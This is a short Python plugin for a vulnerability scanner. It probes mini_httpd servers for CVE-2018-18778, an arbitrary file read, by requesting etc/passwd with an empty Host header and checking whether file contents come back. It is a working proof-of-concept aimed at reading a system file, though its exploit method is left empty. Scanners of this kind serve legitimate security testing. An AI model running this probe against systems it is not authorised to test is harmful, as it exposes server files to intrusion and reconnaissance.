#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
mini_httpd 任意文件读取
    CVE-2018-18778
        Payload: https://vulhub.org/#/environments/mini_httpd/CVE-2018-18778/

在mini_httpd开启虚拟主机模式的情况下, 用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件
'''

from lib.tool import check
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {'path': 'etc/passwd'}
        ]
    
    def POC(self, clients):
        hackClient = clients.get('hackClient')
        
        vul_info = {
            'app_name': 'MiniHttpd',
            'vul_type': 'FileRead',
            'vul_id': 'CVE-2018-18778',
        }

        headers = {
            'Host': ''
        }

        for payload in self.payloads:
            path = payload['path']

            res = hackClient.request(
                'get',
                path,
                headers=headers,
                vul_info=vul_info
            )
            if res is None:
                continue

            if (check.check_res_fileread(res.text)):
                results = {
                    'Target': res.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
